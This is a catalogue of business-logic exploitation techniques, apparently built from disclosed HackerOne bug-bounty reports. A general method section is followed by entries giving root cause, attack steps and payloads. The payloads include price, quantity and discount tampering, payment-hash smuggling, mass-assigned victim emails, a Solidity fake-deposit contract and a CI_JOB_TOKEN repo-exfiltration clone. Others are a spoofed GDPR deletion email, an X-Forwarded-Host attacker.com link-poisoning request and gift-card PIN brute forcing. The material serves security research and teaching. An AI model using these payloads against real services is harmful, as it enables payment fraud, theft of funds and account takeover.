There is no injection metacharacter to grep for, so scanners are blind to it. You find these by modelling the intended workflow, listing every assumption it depends on, and then violating one. The transferable primitive is almost always the same shape: the server accepts a value or a state it should have derived or re-checked itself. Treat every logic bug as a pivot — the first link in a chain to account takeover, money, or another tenant's data.
Any update/PATCH that takes a JSON blob and binds it to a model will often write fields the form never showed. Inject the security-relevant one and let the next feature trust it.
PATCH /api/v2.0/accounts/<account_id> HTTP/2
Host: TARGET
Content-Type: application/json
{"data":{"brand_safety_tier_preference":"EXPANDED","email":"VICTIM@corp.com"}}
POST /api/graphql HTTP/2
Host: TARGET
Content-Type: application/json
{"operationName":"UpdateVacancyStatus","query":"mutation UpdateVacancyStatus($vacancyId:ID!,$status:String!){...}","variables":{"vacancyId":"VID","status":"ACTIVE"}}
# replay the captured mutation with "status" flipped MODERATION -> ACTIVE; client picks the post-approval state (#1861487)
POST /link HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
payment_method_token=<VICTIM_TOKEN>&last_four=0000&card_type=visa
# a captured token is not bound to its account -> link a victim card; metadata echoed unvalidated (#637267)
Negatives and zeros are the fastest money tells: a negative line item nets the order total down (#364843), and an unvalidated bid in a public state-changing callback mints value from nothing (#684092).
# negative quantity subtracts from the total instead of adding
POST /order/item quantity=-1 # (#364843)
# unauth smart-contract callback trusts an attacker-chosen bid -> free mint
flip.kick(urn, gal, tab=TOTAL_SUPPLY, lot=1, bid=TOTAL_SUPPLY) # no auth, bid never re-validated (#684092)
A later step's URL is frequently a guessable sibling of the current one. Keep the query string / token, swap only the path segment, and jump past the gate in between.
# happy path: /login?ctx=X -> /accounts_merge/confirm -> /accounts_merge/new-password?ctx=X
GET https://TARGET/accounts_merge/new-password?<same-query-as-/login>
# lands straight on "set a new password" — the "enter victim's password" step is skipped (#796956)
GET /new/checkout/order/ HTTP/1.1
Host: TARGET
Cookie: basket_key=<19-digit ID>
# the one-time /checkout-router/[ID]/ guard doesn't apply here -> brute-force IDs, dump PII (#271176)
GET https://TARGET/email-change/<CONFIRMATION_TOKEN>/ HTTP/1.1
# the token was printed in the visible "resend" link -> confirm with no inbox access (#229619)
# 1. request a magic login link, consume it once in browser A
# 2. paste the identical https://app.TARGET/login?token=... into browser B / incognito
# -> logged in again: the link is multi-use and unbound to the requester (#1486327)
Anything summed or applied "once" — discounts, deposits, coupons, ratings, balances — should be idempotent. Replay the "apply" request N times and watch the counter.
POST /ajax/accept_fee_discount_offer HTTP/2
Host: TARGET
Content-Type: application/json
{"id":"fdo_XXXX"}
# fire it 30x -> the discount stacks 30x; no race even needed (#1849626)
PUT /projects/api/projects/tags/<PROJECT_ID>/?key=API_KEY HTTP/2
Host: TARGET
Content-Type: application/json
{"name": null}
# stored null white-screens the project list; push it to a victim via invite -> no-interaction DoS (#1237700)
# drive median block weight up until integer division floors the fee to 0
# min_fee_per_byte = round_down(0.95 * block_reward * ref_weight / fee_median^2) == 0
# -> zero-fee transactions accepted -> free unlimited spam. Fix: max(result, 1) (#1981441)
The collab websocket frame below sets a field in the victim's DOM; when they click "Build" the client POSTs to the traversed endpoint as them (#837328). Note %5B/%5D are the URL-encoded [/] — send them encoded, exactly as shown:
{"type":"form-update","element":"#algo-id",
"value":"/../../../../../users/update_preferences?prefs%5Bsend_login_detected_email%5D=false",
"roomId":"..."}
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 267 in this class.
Real-world example
Payment param smuggling via delimiter-less signed hash
◆ Critical
Specimen #1295844 · valve · 7500 · 437 votes · resolved
Program valveSurface webTag webhook
Root cause
The payment provider signed a hash of all field names+values concatenated with no delimiters, so shifting characters between adjacent params (Amount=2000 -> Amount2=000) and abusing an attacker-controlled email value to inject &amount=100 keeps the same hash but changes the effective amount.
Method
- Set account email to contain a smuggle payload (e.g. brixamount100abc@...)
- Start Add Funds -> pick a Smart2Pay method, intercept POST to globalapi.smart2pay.com
- Split Amount=2000 into Amount2=000 and split the email field into brix&amount=100&ab=c... injecting a new low amount param
- Forward; hash still validates because concatenation is identical; pay ~1$ and receive full wallet credit
MerchantID=1102&MerchantTransactionID=X&Amount2=000&Currency=PLN&...&CustomerEmail=brix&amount=100&ab=c%40host&...&Hash=<unchanged>
Insight — When a signature is computed over concatenated fields WITHOUT delimiters, param boundaries are malleable: move '=' and '&' around, or smuggle new key=value pairs through a free-text field (email/name), to change parsed values while keeping the signed string byte-identical.
Real-world example
Missing access control + trusted user-supplied bid in smart-contract auction (flip.kick)
◆ Critical
Specimen #684092 · makerdao_bbp · awarded · 466 votes · resolved
Program makerdao_bbpSurface otherChain fake auction -> end.skip free DAI mint -> end.pack/cas
Root cause
A public state-changing function (flip.kick) had no access control and accepted every stored auction field (including the winning bid) as an unvalidated parameter, so downstream contracts trusted a value the attacker fabricated for free.
Method
- Wait until MCD is in liquidation/end phase
- Call flip.kick directly with an arbitrarily large bid and a tiny non-zero lot (near-zero cost)
- Call end.skip -> the end contract refunds the fake bid, minting free DAI
- Call end.pack + end.cash to convert the free DAI into all collateral held by end
flip.kick(urn, gal, tab=TOTAL_DAI_SUPPLY, lot=1, bid=TOTAL_DAI_SUPPLY) // no auth, bid never validated
Insight — On any system where a privileged callback (kick/settle/finalize) is assumed to be called only by a trusted contract, test calling it directly and passing attacker-chosen amounts; trusted-value assumptions across contract boundaries are the bug.
Real-world example
Mirror pipeline attributed to victim -> steal CI_JOB_TOKEN
◆ Critical
Specimen #894569 · gitlab · 12000 · 307 votes · resolved
Program gitlabSurface webChain account deletion -> pipeline mis-attribution -> CI_JOB
Root cause
A pull-mirror with 'trigger pipelines for mirror updates' runs the pipeline as the group owner; if the owner deletes their account while still a member, the trigger falls to another owner, so an attacker-controlled .gitlab-ci.yml executes under the victim's identity with the victim's CI_JOB_TOKEN.
Method
- Attacker1: public project with a .gitlab-ci.yml you control
- Attacker2: public group, project pull-mirroring Attacker1's repo with trigger-on-mirror enabled; invite Victim as Owner, then delete Attacker2
- Attacker1: update .gitlab-ci.yml to git clone https://gitlab-ci-token:$CI_JOB_TOKEN@.../victim/private_repo.git
- Mirror update triggers pipeline as Victim -> exfiltrates victim-private repos/registry
script:
- git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.com/victim/private_repo.git
- cat private_repo/*
Insight — CI job identity/attribution is a trust boundary: look for flows where the entity that TRIGGERS a job differs from the one that CONTROLS the job definition. Deleted/ownership-transfer edge cases often mis-attribute the runner identity.
Real-world example
ETH nested revert credits deposit without transfer
◆ Critical
Specimen #328526 · coinbase · awarded · 208 votes · resolved
Program coinbaseSurface web
Root cause
ETH receiving code credited a Coinbase account based on an inner call/transfer even when a nested revert() rolled the on-chain transaction back (and delegatecall was mishandled), so funds were credited though never actually received.
Method
- Deploy a contract whose inner dive() transfers to the Coinbase deposit address then revert()s
- Call it so the whole tx reverts on-chain but Coinbase's off-chain credit logic already recorded the deposit
- Repeat to inflate balance, then cash out
contract InternalAttacker {
function internalAttack(address _target) payable {
address(this).call(bytes4(keccak256("dive(address)")), _target);
msg.sender.transfer(this.balance);
}
function dive(address _target) { _target.transfer(this.balance); revert(); }
}
Insight — Exchanges/bridges must credit deposits only on FINAL, non-reverted, top-level transaction success. Test crediting logic against nested reverts, failed internal txs, and delegatecall -- any path where an internal transfer 'happens' but the outer tx rolls back.
Real-world example
Negative-quantity line item nets down order total
◆ Critical
Specimen #364843 · upserve · awarded · 166 votes · resolved
Program upserveSurface api
Root cause
The order API trusted a fully client-supplied order JSON (per-item price, total, and quantity); a line item with negative quantity subtracted from the charged total.
Method
- Build an order, intercept the order-submit JSON
- Add an item with quantity: -1 (and/or trust client price/total)
- Server charges the reduced total (e.g. 2x$12 - 1x$9 = $18.70)
{"items":[{"name":"ChickenBurger","price":1200,"quantity":2},{"name":"BreadPudding","price":900,"quantity":-1}], "total":1870}
Insight — For any cart/order that sends quantities (or prices/totals) client-side, test negative and fractional quantities and mixed +/- line items to net the total down. Servers frequently sum without a >=0 constraint or server-side reprice.
Real-world example
Self-approving collaborator via account-type confusion
◆ Critical
Specimen #270981 · shopify · awarded · 309 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Logic meant to auto-convert an existing normal user account into a collaborator (when a partner already had a user account on the store) failed to check the account type, so a pending (not-yet-approved) collaborator account got converted to active — letting a partner approve their own collaborator request with no merchant interaction.
Method
- Create two partner accounts sharing the same business email
- Request collaborator access to a target store (stays pending)
- The auto-conversion path treats the pending collaborator as an existing user account and activates it without owner approval
Insight — Look for state machines that auto-merge/auto-convert accounts by shared identifier (email). If the code branches on 'account exists' without also checking its type/state, a pending/attacker record can be promoted. Test flows where the same email can hold two roles simultaneously.
Real-world example
Ownership-claim takeover via OTP sent to attacker but verified against victim id
◆ Critical
Specimen #1330529 · eternal · 3250 · 107 votes · resolved
Program eternalSurface apiTag account-takeover
Root cause
The claim flow sends the OTP to a number the attacker controls but the separate verify step trusts a client-supplied resId; attacker gets the OTP on their own request, then submits it with the victim's resId to bind their email as owner.
Method
- POST send-auto-claim-otp with your own number and your own resId -> OTP delivered to you (also returns requestId + code in response)
- POST verify-auto-claim-otp with that verificationCode/requestId but change resId to the victim restaurant
- Your email is mapped as Owner/Manager of the victim (unclaimed) restaurant
POST /restaurant-onboard-diy/v2/send-auto-claim-otp
{"number":"<attacker>","isdCode":"+91","resId":"<attacker resId>"}
POST /restaurant-onboard-diy/v2/verify-auto-claim-otp
{"verificationCode":<otp>,"requestId":"<from step1>","resId":"<VICTIM resId>"}
Insight — In two-step OTP/claim flows, the object id is often only validated at send-time; swap the target id at verify-time. Decoupled send/verify steps with a client-controlled resource id = ownership takeover.
Real-world example
Ticket-trick 2.0: forge verified support@ email via Zendesk ticket hash + CC
◆ Critical
Specimen #498964 · gitlab · awarded · 306 votes · resolved
Program gitlabSurface webChain forge verified support@ email -> SSO/allowlist trust ->Tag account-takeover
Root cause
Even with support+*@ blocked, Zendesk assigns each ticket a public hash usable to append content; by registering support@company.com at Google, stuffing the ticket hash into the name fields and CCing noreply@google.com onto the reply, Google's verification code lands publicly in the ticket, yielding a verified privileged mailbox that unlocks internal apps.
Method
- Email support@company.com to open a ticket (get an automated reply)
- Register support@company.com at accounts.google.com; put the ticket's Zendesk hash as first/last name
- Reply to the support ticket CCing noreply@google.com, then re-trigger Google's verification
- The verification code becomes public in the ticket -> verified support@ Google account
- Use it (SSO/OIDC/allowlisted domain) to reach internal dashboards (crt.sh finds redash/prometheus/dashboards subdomains)
Insight — Shared support inboxes remain an identity-forgery surface even after the classic ticket-trick fix. Any provider that emails a secret to an address you can make CONTENT-visible (ticket hash, CC, mailing list) lets you 'own' that address. Then hunt subdomains that trust the company email domain.
Real-world example
Client-side MD5 2FA challenge bypass + SSRF via cookie path traversal (CTF chain)
◆ Critical
Specimen #895172 · h1-ctf · none · 23 votes · resolved
Program h1-ctfSurface webChain log disclosure -> creds -> MD5 2FA bypass -> cookieTag account-takeover
Root cause
Multiple trust-in-client flaws chained: the 2FA one-time code is validated against an MD5 hash sent to the client in a hidden field, and an access-control gate is enforced only by a value inside a base64 cookie that also feeds an unvalidated redirect used for SSRF.
Method
- Find exposed logger/config (Google/GitHub) -> download /bp_web_trace.log full of base64 request dumps -> recover creds
- Bypass 2FA: hidden field challenge=MD5(otp); replace with MD5 of a value you know and submit that value as the OTP
- Decode base64 session cookie {account_id,hash}; set account_id to ../../redirect?url=https://internal-host/# to SSRF the IP-restricted internal service
- Enumerate internal paths, pull the APK, decompile with apktool, drive exported activities via adb intents to extract the final token
# 2FA bypass: put your own hash in the hidden field, submit the matching plaintext
<input type="hidden" name="challenge" value="e11170b8cbd2d74102651cb967fa28e5"> # MD5("1111111111")
# SSRF via cookie path traversal (base64-encoded cookie value):
{"account_id":"../../redirect?url=https://software.bountypay.h1ctf.com/#","hash":"de235bffd23df6995ad4e0930baac1a2"}
Insight — Whenever a client receives a hash/hidden field that 'proves' a server secret (OTP, price, role), try replacing it with the hash of your own value. When an ID from a cookie is used to build a server-side URL, test path traversal + an app's own /redirect endpoint to reach IP-restricted internal services.
Real-world example
Duplicated field double-counted -> inflated balance / value
◆ Critical
Specimen #377592 · monero · none · 5 votes · resolved
Program moneroSurface otherChain duplicate tx pubkey -> inflated deposit credit -> over
Root cause
Wallet output-scanning iterates every tx public key in the transaction extra field without deduping, so a transaction crafted with the same tx pubkey repeated N times decodes the same outputs N times and reports N x the real amount received.
Method
- Craft a transaction that adds add_tx_pub_key_to_extra() multiple times (duplicate tx pub key).
- Send a small real amount (e.g. 1 XMR) to an exchange deposit address (no payment id so it is manually credited).
- Recipient/exchange show_transfers reports amount x (number of duplicate pubkeys).
- Withdraw the inflated credited balance.
// src/cryptonote_core/cryptonote_tx_utils.cpp
add_tx_pub_key_to_extra(tx, txkey_pub);
add_tx_pub_key_to_extra(tx, txkey_pub); // duplicate -> 2x credited
Insight — Anywhere a server sums over a list parsed from attacker-controlled input (line items, coupons, tx outputs, headers), test duplicate/repeated entries. If dedup is missing, duplication multiplies the credited value -> financial theft. Confirm the display path AND the authoritative accounting path.
Real-world example
GDPR data-deletion request via spoofed email (no identity verification)
◆ High
Specimen #928255 · gitlab · awarded · 221 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Privacy/GDPR request mailbox (gdpr-request@) triggers Right-to-Access/Right-to-Deletion on the sender's claimed email without verifying sender authenticity or asking for a secondary identity proof.
Method
- Find the program's GDPR/privacy request email address.
- Send a spoofed email FROM the victim's email address (via a reputable SMTP that allows arbitrary From, e.g. an ESP) requesting account deletion / data export.
- Process auto-accepts based on the From header; victim's account is deleted (or their data exported) with no interaction.
# Spoofed From, sent through an SMTP/ESP that does not enforce From ownership
MAIL FROM:<attacker@esp>
From: victim@example.com
To: gdpr-request@target.com
Subject: GDPR Article 17 - Erasure request
Please delete all my data / my account.
Insight — Any workflow that acts on an email's From header (GDPR, unsubscribe, support identity) without verifying the sender or a second factor is abusable via email spoofing. Test privacy/legal request channels, not just the app.
Real-world example
Validation gap between daemon and wallet: zero-amount tx decodes attacker amount
◆ Critical
Specimen #501585 · monero · none · 9 votes · resolved
Program moneroSurface otherChain crafted miner tx -> wallet mis-decodes amount -> fake
Root cause
Two components disagree on how to interpret a field: the daemon accepts a miner transaction with a zero amount (and does not check its RingCT signatures), while the wallet, seeing amount==0, decodes the amount from the (unverified) RingCT data - so an attacker-mined block makes the wallet believe it received an arbitrary amount.
Method
- Modify the node to produce block templates with a zero amount in the miner tx plus valid-enough RingCT data that decodes to a chosen amount.
- Mine a block directly to a target (exchange) wallet.
- The wallet decodes the attacker-chosen amount and credits a fake deposit.
Insight — When two layers validate the same data differently (producer vs consumer, daemon vs wallet, API vs UI), the trust gap is exploitable: find a field the writer accepts loosely but the reader derives value from. Generalizes to any deposit/balance system that trusts a self-reported or derived amount without cross-verifying the authenticated field.
Real-world example
Email auto-verified via mass-assigned email field on account update
◆ High
Specimen #1551176 · reddit · 5000 · 198 votes · resolved
Program redditSurface apiChain mass-assign email -> auto-verified -> hijack team inviTag account-takeover
Root cause
Adding an 'email' field to the account-update PATCH sets the account's email as verified without any verification step, letting an attacker set their email to a victim address and accept team invites sent to it.
Method
- Register an ads account, do not verify email
- Capture a PATCH /api/v2.0/accounts/<id> request
- Add "email":"<victim>" to the JSON body
- Email is now 'verified'; accept invites addressed to that email
PATCH /api/v2.0/accounts/<account_id> HTTP/2
Host: ads-api.reddit.com
Content-Type: application/json
{"data":{"brand_safety_tier_preference":"EXPANDED","email":"<VICTIM_EMAIL>"}}
Insight — Try mass-assigning an 'email'/'email_verified' field into unrelated update requests (settings, preferences). If the write path lacks a verification/ownership check, you inherit invites and notifications tied to that address.
Real-world example
Incomplete global shutdown leaves a module live (mint after cage)
◆ High
Specimen #672664 · makerdao_bbp · awarded · 152 votes · resolved
Program makerdao_bbpSurface web
Root cause
MakerDAO's end.cage shutdown paused vat/CDPs but never caged the pot (savings) module, so DAI could still be minted via accrued interest even after the final redemption rate was fixed, letting fast actors over-redeem and steal collateral from slower users.
Method
- Initiate/await system shutdown (end.cage ... end.flow fixes DAI/collateral rate)
- Because pot.drip still works post-flow, deposit DAI in pot and keep accruing after the rate is locked
- pot.exit inflated DAI, then end.pack/end.cash to drain collateral before others redeem
test_steal_collateral_using_dsr_after_thaw (attached end.t.sol PoC)
Insight — For any 'global pause / emergency shutdown / maintenance mode', enumerate EVERY state-mutating module and check each is actually frozen. A single un-paused component (here pot.drip) after invariants are fixed breaks conservation and enables theft.
Real-world example
Pay amount not cross-checked against order amount
◆ High
Specimen #1408782 · eternal · 2000 · 129 votes · resolved
Program eternalSurface api
Root cause
Wallet top-up was two-step: generate order for amount X, then pay against order_id; the payment step's amount was not reconciled with the order's amount, so paying a small amount credited the full order value.
Method
- POST /gw/payments/zomato_money/order with amount=1000 -> order_id
- POST /v2/sdk/make_payment with the order_id but a small amount
- Wallet credited the order's 1000 despite paying less
POST /gw/payments/zomato_money/order {"amount":"1000.0",...}
POST /v2/sdk/make_payment amount=<small>&order_id=<id>&order_type=ZM_RECHARGE
Insight — In multi-step order->pay flows, the two amounts are often independently client-supplied and never reconciled server-side. Generate an order for a high amount, then pay a low amount against the same order_id and check what gets credited/fulfilled.
Real-world example
Tamper client-supplied cancellation_amount to 0
◆ High
Specimen #614523 · eternal · awarded · 129 votes · resolved
Program eternalSurface api
Root cause
A cancellation_amount fee field was trusted from the client; setting it to 0 reduced the payable total and wiped prior cancellation charges.
Method
- Add items, proceed toward payment, intercept the pre-payment request
- Set cancellation_amount=0
- Order total drops / cancellation charges cleared
cancellation_amount=0
Insight — Beyond item price/qty, hunt every auxiliary money field in the request (fees, taxes, tips, cancellation/penalty charges, shipping); any that the server takes from the client can be zeroed or negated.
Real-world example
Price manipulation via client-controlled quantity/line-item fields
◆ High
Specimen #403783 · eternal · awarded · 77 votes · resolved
Program eternalSurface web
Root cause
The order total is recomputed from client-supplied quantity (and addon count) fields that the server trusts; fractional or inflated values that the UI never emits are accepted, collapsing the price.
Method
- Add an item and proceed to checkout, intercepting the cart/calculate request
- Change the quantity from an integer to a fraction (1 -> 0.1) in both the calculate and makeorder requests
- Total drops proportionally (99 -> 9.9) yet the order is accepted and fulfilled
order[dishes][0][quantity]=0.1 (also seen: addon seat field "3-seats-3" -> "10-seats-10" forcing $0)
Insight — Never assume the client can only send UI-reachable values: send fractional/negative/oversized quantities and edit hidden line-item price fields - if the server recomputes from them without bounds, you control the price.
Real-world example
Single-transaction interest arbitrage from unsynchronized rate accumulators (DeFi)
◆ High
Specimen #665798 · makerdao_bbp · awarded · 63 votes · resolved
Program makerdao_bbpSurface otherChain borrow -> deposit -> drip -> withdraw -> repay i
Root cause
Two smart-contract rate mechanisms (stability fee 'jug' vs savings rate 'pot') accrue only on separate drip() calls; sequencing borrow->deposit->drip->withdraw->repay inside one atomic tx harvests savings interest without ever holding the asset, inflating supply.
Method
- Within one transaction: join collateral, frob a CDP to mint max DAI
- Deposit DAI into pot (savings), call pot.drip to accrue DSR
- Exit pot to collect principal+interest, repay the CDP, withdraw collateral
- Net: risk-free interest each block, repeatable/crowdsourceable to inflate supply
atomic tx: vat.frob(mint) -> pot.join -> pot.drip -> pot.exit -> vat.frob(repay)
Insight — In DeFi, look for state that accrues on discrete keeper/drip calls rather than continuously and is not synchronized across contracts: an atomic borrow-use-repay flow can extract value that assumes time actually passed.
Real-world example
Payment-method token leaked to analytics + cross-account token reuse
◆ High
Specimen #637267 · upserve · awarded · 50 votes · resolved
Program upserveSurface webChain analytics data exposure -> token capture -> cross-acco
Root cause
Sensitive payment_method_token is (a) exfiltrated to a 3rd-party analytics service and (b) accepted by the link-card endpoint without binding it to the originating account, so a captured token links a card to any account. Card metadata (last_four, card_type) is trusted from the request, not validated.
Method
- Create two accounts; add a card to each and capture all requests
- Note the payment_method_token returned when linking a card
- Observe the same token also being sent to the 3rd-party analytics endpoint
- Remove the card from account B
- Replay the link-card request on account B using account A's payment_method_token
- Card is linked to account B; last_four/card_type in the body are echoed unvalidated
POST /link (orders.upserve.com)
payment_method_token=<victim_token>&last_four=0000&card_type=visa
Insight — Grep client traffic for secrets forwarded to analytics/marketing/CDN hosts (Segment, GA, Sentry, etc.). Then test whether such tokens are account-bound: replay another user's token/ID on the consuming endpoint. Also fuzz displayed card metadata fields (last_four, brand) for server-side trust.
Real-world example
Missing rate limit on abuse-report button = arbitrary comment deletion
◆ High
Specimen #1051734 · automattic · awarded · 50 votes · resolved
Program automatticSurface web
Root cause
An auto-moderation feature deletes a comment after N abuse-reports, but the report action has no rate limit or per-user dedup, so one attacker can submit N reports and delete any comment.
Method
- Enable 'Report this comment' with a deletion threshold (e.g. 10) on an IntenseDebate-moderated site
- Post a target comment
- From another account, click Report on that comment repeatedly (or replay the report request) x10
- Comment is auto-deleted
Replay the 'report comment' POST N times (N = configured deletion threshold)
Insight — Rate-limit findings become high impact when the throttled action drives a state change (delete/ban/lock/refund). Look for count-threshold moderation (reports, flags, downvotes) and check whether a single actor can reach the threshold alone.
Real-world example
Free checkout via missing quantity validation (<=0 coerced to 1)
◆ High
Specimen #357929 · reverb · awarded · 41 votes · resolved
Program reverbSurface web
Root cause
Cart quantity is not validated server-side; a value of 0 (or negative) is stored but coerced to 1 unit at fulfillment while the price total computed from quantity is 0, so items check out for free.
Method
- Add item to cart
- Intercept the add-to-cart/update response or request and set quantity=0
- Proceed to checkout -> total is $0 but one unit is delivered
- Place order
cart update: quantity=0 (also try negative values)
Insight — Always fuzz quantity/amount/count with 0, negative, decimals, and huge values. Price*quantity math often yields 0 or negative totals while fulfillment floors to 1. A staple e-commerce logic test.
Real-world example
Price tampering by reusing a signed amount token across mismatched fields
◆ High
Specimen #316789 · starbucks · none · 40 votes · resolved
Program starbucksSurface web
Root cause
The gift-card flow signs one 'vpc_Amount' value but the charged amount comes from a different unsigned field; a signature captured for a tiny amount can be pasted onto a high-value order.
Method
- Start a $300 card, capture the checkout request
- Set all amounts to 0.1 to obtain the signed vpc_Amount for 0.1, then drop the request
- Restart, keep display 300 but set the charged 'amount' field to 0.1
- On payment page replace vpc_Amount with the captured 0.1 signature
- Pay $0.1 for a $300 card sent to attacker's email
txtAmount=300&amount=0.1&txtCustomAmount=300
vpc_Amount=XcfYhTj%2BHFIY5c9n8sSCzqDFAxXGgXXoZgF0VVUBvjM%3D (signature for 0.1)
Insight — When one field is signed/encrypted and a parallel plaintext field drives the real charge, mix a low-amount signature with a high-amount order - the signature only vouches for the value it wrapped.
Real-world example
Host header injection via X-Forwarded-Host -> poisoned invite/reset links
◆ High
Specimen #1072277 · logitech · none · 37 votes · resolved
Program logitechSurface webChain host header injection -> poisoned reset/invite link ->Tag account-takeover
Root cause
The app builds email links (invitation/password flows) from the request host. The Host header is validated (403 on change) but X-Forwarded-Host is trusted and reflected into generated links, enabling link poisoning / email spoofing.
Method
- Trigger an email-generating action (invite a user by email)
- Direct Host change is blocked (403)
- Add X-Forwarded-Host: attacker.com to the request
- Generated email link points to attacker.com -> victim credential/token theft
POST /invite ...
Host: oslo.io
X-Forwarded-Host: attacker.com
Insight — If Host is validated, escalate with X-Forwarded-Host, X-Host, X-Forwarded-Server, or absolute-URI request lines. Target any flow that emails a link derived from the host (password reset, invite, verify) for link poisoning and cache poisoning.
Real-world example
Fund transfer via client-set CardNumber; error hides success
◆ High
Specimen #766437 · starbucks · none · 36 votes · resolved
Program starbucksSurface web
Root cause
The transfer form takes the source CardNumber from a client field; changing it to a victim's card transfers their balance, and a mismatched FullAmount throws a visible error while the transfer still commits.
Method
- Open the card transfer form, edit the DevTools CardNumber to victim's valid card number
- Set FullAmount below the victim's balance
- Submit; an error appears but the FullAmount is transferred - verify on Card Information page
Edit CardNumber form field (Chrome DevTools) to victim's Starbucks card number; FullAmount <= victim balance
Insight — Don't trust the error message - re-check the resulting state; a source-account identifier taken from a client field is an IDOR that moves money.
Real-world example
Checkout price tampering via XML payload
◆ High
Specimen #218748 · adobe · none · 33 votes · resolved
Program adobeSurface web
Root cause
The shopping-cart checkout trusts a client-submitted price in the POST XML body, so intercepting and rewriting it sets arbitrary product prices.
Method
- Add product to cart and proceed to checkout
- Intercept the checkout POST and edit the price value in the XML payload
- Complete purchase at the attacker-chosen price
# Intercept checkout POST, edit price node in the XML body:
<item><sku>...</sku><price>0.01</price></item>
Insight — Any checkout/order flow that carries price or total in a client-controlled body/hidden field is price-manipulation-prone; never trust client-side price - re-derive server-side. Test string and numeric price fields.
Real-world example
Paid gift subscription issued before payment source validated
◆ High
Specimen #951230 · automattic · awarded · 29 votes · resolved
Program automatticSurface web
Root cause
The gift-purchase flow generated and emailed a working gift/redemption link even though the purchase API returned a 'must have an active payment source' error, so the deliverable was produced without any successful charge.
Method
- Create an account with no credit card attached
- Send a gift-purchase request for the paid subscription product
- API returns an error about missing payment source
- Check the recipient inbox: a valid gift link was still sent and can be redeemed for a free subscription
POST /api/v2/store/purchase.php HTTP/1.1
Host: magazine.atavist.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
email=YOUR_EMAIL&password=YOUR_PASSWORD&product_id=com.theatavist.atavist.subscription.membership&gift_timestamp=2020-8-4&gift_recipient=RECIPIENT_EMAIL&gift_message=test&gift_gifter=test
Insight — Test whether a purchase/gift/upgrade side effect (email link, entitlement, license) is produced before the payment result is confirmed. Error responses that still fire the fulfillment step = free goods. Always check the out-of-band deliverable, not just the HTTP response.
Real-world example
Rounding/min-amount abuse: exchange trades 1:1 regardless of set price
◆ High
Specimen #330105 · stellar · none · 29 votes · resolved
Program stellarSurface other
Root cause
For a minimum tradable amount, the matching/settlement engine executes 1:1 regardless of the offer's price when the order crosses the market, so buying a tiny amount of a high-value asset costs the same tiny amount of a cheap asset.
Method
- Create an order selling the minimum unit (0.0000001 XLM) at a price above market so it fills immediately
- Receive 0.0000001 of the high-value asset (e.g. BTC) for 0.0000001 XLM (1:1)
- Sell that asset back at real market rate for far more than spent
- Automate across many accounts/operations to compound profit
ManageOffer: sell 0.0000001 XLM, price 50000 XLM/BTC (market ~37000)
=> buys 0.0000001 BTC for 0.0000001 XLM (1:1), sell back at market ~= 0.0037 XLM
Insight — Wherever value = amount * price with fixed-precision rounding, probe the smallest tradable/charged unit: sub-precision amounts often round the counter-value to the same minimum, breaking the intended exchange ratio.
Real-world example
Client-side time enforcement bypass (extend admin override by clock change)
◆ High
Specimen #2043885 · cloudflare · awarded · 29 votes · resolved
Program cloudflareSurface mobile-android
Root cause
WARP admin-override 'temporary disconnect' duration is validated against the local device clock without server-side validation, so a user with local access can set the device date/time backward to extend the allowed disconnected window indefinitely (CVE-2023-3747).
Method
- Obtain a valid admin override code granting a limited disconnect window
- Disconnect WARP
- Change the device date/time so the expiry check reads as not-yet-elapsed
- Remain disconnected past the intended limit
Settings > Date & time > set backward # defeats client-evaluated override expiry
Insight — Any time-limited entitlement (trial, override, token expiry, licensing) checked against the local clock is bypassable by changing device time. Enforce expiry server-side with server time.
Real-world example
Earn loyalty points without paying by exploiting an order-status = paid assumption (COD)
◆ High
Specimen #592803 · automattic · awarded · 23 votes · resolved
Program automatticSurface web
Root cause
Reward code assumes order status 'processing' implies a completed payment and grants points on that transition; the Cash-On-Delivery gateway sets new (unpaid) orders straight to 'processing', so points are awarded and immediately spendable with no payment.
Method
- On a store with WooCommerce Points & Rewards and Cash On Delivery enabled, place an order using COD
- Order status becomes 'processing' immediately (no payment made)
- maybe_update_points fires on woocommerce_order_status_processing and credits points for the order total
- Spend the points; repeat to farm unlimited points
# vulnerable logic (class-wc-points-rewards-order.php):
if ( 'on-hold' !== $order->get_status() ) {
$this->add_points_earned( $order_id ); // fires for COD 'processing' = unpaid
}
Insight — Never equate an order/workflow status with 'money received'. Any reward/credit/entitlement keyed on a status that an unpaid gateway (COD, invoice, bank-transfer) can reach is free value. Map which gateways set which statuses.
Real-world example
Gift-card enumeration + PIN brute due to missing velocity controls
◆ High
Specimen #198494 · starbucks · none · 18 votes · resolved
Program starbucksSurface web
Root cause
Card add/balance endpoints impose no rate/velocity limits, and card numbers increment by a single digit, so an attacker enumerates valid 16-digit cards and then brute-forces the 8-digit PIN to hijack loaded balances.
Method
- POST to /account/card/addcard with Register.MyCard=FALSE to enumerate card numbers unbounded
- Given a card, POST with Register.MyCard=TRUE to brute the PIN unbounded
- On a valid card+PIN, transfer funds to attacker's own card
POST /account/card/addcard Register.MyCard=FALSE&CardNumber=<enumerate sequential 16-digit>
POST /account/card/addcard Register.MyCard=TRUE&CardNumber=<known>&Pin=<brute 8-digit>
Insight — Financial/loyalty endpoints with no velocity limits + sequential identifiers = mass enumeration and fund theft. A boolean flag (Register.MyCard TRUE/FALSE) that switches server behavior is a tell for hidden enumeration modes. Auto-reload amplifies impact.
Real-world example
Double-counted output via alternative tx_pub_keys array
◆ High
Specimen #379049 · monero · none · 17 votes · resolved
Program moneroSurface other
Root cause
process_new_transaction scans outputs against both a dummy+alternative pubkey set and then the legitimate pubkey, but the alternative keys are never inserted into the public_keys_seen dedup set, so the same outputs are scanned twice and the wallet reports 2x the received amount over RPC.
Method
- Patch the sender wallet to emit a dummy tx_pub_key, an additional_tx_pub_keys array all containing the real key, then the real tx_pub_key
- Send a normal transfer to the target (e.g. an exchange) wallet
- Target's get_transfers RPC reports double the amount actually sent
# extra field layout: [dummy_pubkey][additional_pubkeys = real key x N outputs][real pubkey]
# additional keys are not added to public_keys_seen -> outputs counted twice
Insight — Deduplication that guards double-processing must be updated on every code path that consumes an item. Look for scan/merge loops where one branch populates the 'already seen' set and a parallel branch does not - classic double-spend/double-credit primitive.
Real-world example
Reusable magic login link (no single-use / no binding) -> account takeover
◆ High
Specimen #1486327 · lemlist · none · 14 votes · resolved
